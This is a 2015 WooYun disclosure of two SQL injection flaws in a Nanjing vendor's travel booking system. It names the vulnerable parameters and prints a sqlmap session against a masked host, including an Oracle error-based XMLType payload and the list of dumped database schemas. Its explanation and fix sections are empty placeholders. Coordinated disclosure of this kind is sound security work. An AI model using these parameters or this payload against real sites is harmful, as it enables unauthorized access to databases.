当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127050

漏洞标题:旅游系统两处SQL注入漏洞

相关厂商:南京溜溜地球旅行网

漏洞作者: 路人甲

提交时间:2015-07-18 10:57

修复时间:2015-10-19 08:26

公开时间:2015-10-19 08:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-18: 细节已通知厂商并且等待厂商处理中
2015-07-21: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-07-24: 细节向第三方安全合作伙伴开放
2015-09-14: 细节向核心白帽子及相关领域专家公开
2015-09-24: 细节向普通白帽子公开
2015-10-04: 细节向实习白帽子公开
2015-10-19: 细节向公众公开

简要描述:

233

详细说明:

0.0.

漏洞证明:

tuan/index.jsp?area_id=
news/news_list.jsp?key=
案例
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**

QQ截图20150715235839.png


[root@Hacker~]# Sqlmap py -u http://**.**.**.**/news/news_list.jsp?key=
--dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:59:49
[23:59:49] [INFO] testing connection to the target url
[23:59:53] [INFO] testing if the url is stable, wait a few seconds
[23:59:54] [INFO] url is stable
[23:59:54] [INFO] testing if GET parameter 'key' is dynamic
[23:59:54] [INFO] confirming that GET parameter 'key' is dynamic
[23:59:54] [INFO] GET parameter 'key' is dynamic
[23:59:54] [WARNING] reflective value(s) found and filtering out
[23:59:54] [WARNING] heuristic test shows that GET parameter 'key' might not be
injectable
[23:59:54] [INFO] testing for SQL injection on GET parameter 'key'
[23:59:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:59:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:00:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:00:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:00:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:00:15] [INFO] GET parameter 'key' is 'Oracle AND error-based - WHERE or HAVI
NG clause (XMLType)' injectable
[00:00:15] [INFO] testing 'Oracle AND time-based blind'
[00:00:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:00:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
GET parameter 'key' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N]
sqlmap identified the following injection points with a total of 51 HTTP(s) requ
ests:
---
Place: GET
Parameter: key
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: key=' AND 9581=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(100)||CH
R(102)||CHR(122)||CHR(58)||(SELECT (CASE WHEN (9581=9581) THEN 1 ELSE 0 END) FRO
M DUAL)||CHR(58)||CHR(99)||CHR(100)||CHR(110)||CHR(58)||CHR(62))) FROM DUAL) AND
'NUnf'='NUnf
---
[00:00:43] [INFO] the back-end DBMS is Oracle
web application technology: Apache, JSP
back-end DBMS: Oracle
[00:00:44] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[00:00:44] [INFO] fetching database (schema) names
[00:00:45] [INFO] the SQL query used returns 25 entries
[00:00:46] [INFO] retrieved: CTXSYS
[00:00:48] [INFO] retrieved: DBSNMP
[00:00:49] [INFO] retrieved: DMSYS
[00:00:50] [INFO] retrieved: EXFSYS
[00:00:55] [INFO] retrieved: MDSYS
[00:00:56] [INFO] retrieved: OLAPSYS
[00:00:57] [INFO] retrieved: ORDSYS
[00:00:58] [INFO] retrieved: OUTLN
[00:01:00] [INFO] retrieved: SAAS10
[00:01:01] [INFO] retrieved: SAAS11
[00:01:02] [INFO] retrieved: SAAS12
[00:01:03] [INFO] retrieved: SAAS13
[00:01:04] [INFO] retrieved: SAAS14
[00:01:08] [INFO] retrieved: SAAS3
[00:01:12] [INFO] retrieved: SAAS4
[00:01:15] [INFO] retrieved: SAAS5
[00:01:16] [INFO] retrieved: SAAS6
[00:01:21] [INFO] retrieved: SAAS7
[00:01:22] [INFO] retrieved: SAAS8
[00:01:23] [INFO] retrieved: SYS
[00:01:25] [INFO] retrieved: SYSMAN
[00:01:25] [INFO] retrieved: SYSTEM
[00:01:26] [INFO] retrieved: TSMSYS
[00:01:27] [INFO] retrieved: WMSYS
[00:01:28] [INFO] retrieved: XDB
available databases [25]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SAAS10
[*] SAAS11
[*] SAAS12
[*] SAAS13
[*] SAAS14
[*] SAAS3
[*] SAAS4
[*] SAAS5
[*] SAAS6
[*] SAAS7
[*] SAAS8
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[00:01:28] [INFO] fetched data logged to text files under 'E:\Hacker\SQLMAP~1\SQ
LMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 00:01:28

修复方案:

==

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-07-21 08:24

厂商回复:

暂未建立与软件生产厂商及多个网站管理单位的直接处置渠道,待认领.

最新状态:

暂无